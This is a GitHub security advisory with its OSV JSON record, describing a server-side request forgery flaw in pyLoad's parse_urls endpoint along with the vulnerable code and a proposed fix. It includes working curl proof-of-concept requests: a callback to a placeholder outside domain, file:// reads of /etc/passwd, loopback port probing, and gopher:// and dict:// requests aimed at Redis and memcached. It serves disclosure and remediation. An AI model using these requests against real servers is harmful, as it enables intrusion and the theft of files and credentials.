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GHSA-2WVG-62QM-GJ33

Vulnerability from github – Published: 2026-04-04 04:18 – Updated: 2026-04-06 23:43
VLAI
Summary
pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter
Details

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

  • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
  • Read local files via file:// protocol (pycurl reads the file server-side)
  • Interact with internal services via gopher:// and dict:// protocols
  • Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}

# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable: - /etc/passwd, /etc/hosts - /proc/self/environ (process environment variables) - /config/settings/pyload.cfg (pyLoad configuration) - /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

  • Read local files via file:// protocol (configuration, credentials, database files)
  • Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
  • Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
  • Scan internal network services and ports via error-based timing
  • Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
  • Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T04:18:43Z",
    "nvd_published_at": "2026-04-06T20:16:27Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:\n\n- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints\n- **Read local files** via `file://` protocol (pycurl reads the file server-side)\n- **Interact with internal services** via `gopher://` and `dict://` protocols\n- **Enumerate file existence** via error-based oracle (error 37 vs empty response)\n\n### Vulnerable Code\n\n**`src/pyload/core/api/__init__.py` (line 556)**:\n\n```python\ndef parse_urls(self, html=None, url=None):\n    if url:\n        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist\n        urls.update(RE_URLMATCH.findall(page))\n```\n\nNo validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.\n\n## Steps to Reproduce\n\n### Setup\n\n```bash\ndocker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest\n```\n\nLog in as any user with ADD permission and extract the CSRF token:\n\n```bash\nCSRF=\n```\n\n### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)\n\n```bash\ncurl -s -b \"pyload_session_8000=\u003cSESSION\u003e\"   -H \"X-CSRFToken: \"   -H \"Content-Type: application/x-www-form-urlencoded\"   -d \"url=http://ssrf-proof.\u003cCALLBACK_DOMAIN\u003e/pyload-ssrf-poc\"   http://localhost:8084/api/parse_urls\n```\n\n**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.\n\n### PoC 2: Local file read via file:// protocol\n\n```bash\n# Reading /etc/passwd (file exists) -\u003e empty response (no error)\ncurl ... -d \"url=file:///etc/passwd\" http://localhost:8084/api/parse_urls\n# Response: {}\n\n# Reading nonexistent file -\u003e pycurl error 37\ncurl ... -d \"url=file:///nonexistent\" http://localhost:8084/api/parse_urls\n# Response: {\"error\": \"(37, \\\u0027Couldn\u0027t open file /nonexistent\\\u0027)\"}\n```\n\nThe difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.\n\nFiles confirmed readable:\n- `/etc/passwd`, `/etc/hosts`\n- `/proc/self/environ` (process environment variables)\n- `/config/settings/pyload.cfg` (pyLoad configuration)\n- `/config/data/pyload.db` (SQLite database)\n\n### PoC 3: Internal port scanning\n\n```bash\ncurl ... -d \"url=http://127.0.0.1:22/\" http://localhost:8084/api/parse_urls\n# Response: pycurl.error: (7, \u0027Failed to connect to 127.0.0.1 port 22\u0027)\n```\n\n### PoC 4: gopher:// and dict:// protocol support\n\n```bash\ncurl ... -d \"url=gopher://127.0.0.1:6379/_INFO\" http://localhost:8084/api/parse_urls\ncurl ... -d \"url=dict://127.0.0.1:11211/stat\" http://localhost:8084/api/parse_urls\n```\n\nBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).\n\n## Impact\n\nAn authenticated user with ADD permission can:\n\n- **Read local files** via `file://` protocol (configuration, credentials, database files)\n- **Enumerate file existence** via error-based oracle (`Couldn\u0027t open file` vs empty response)\n- **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens)\n- **Scan internal network** services and ports via error-based timing\n- **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://`\n- **Exfiltrate data** via DNS/HTTP to attacker-controlled servers\n\nThe multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.\n\n## Proposed Fix\n\nRestrict allowed protocols and validate target addresses:\n\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\ndef _is_safe_url(url):\n    parsed = urlparse(url)\n    if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n        return False\n    hostname = parsed.hostname\n    if not hostname:\n        return False\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n                return False\n    except (socket.gaierror, ValueError):\n        return False\n    return True\n\ndef parse_urls(self, html=None, url=None):\n    if url:\n        if not _is_safe_url(url):\n            raise ValueError(\"URL targets a restricted address or uses a disallowed protocol\")\n        page = get_url(url)\n        urls.update(RE_URLMATCH.findall(page))\n```",
  "id": "GHSA-2wvg-62qm-gj33",
  "modified": "2026-04-06T23:43:23Z",
  "published": "2026-04-04T04:18:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter"
}



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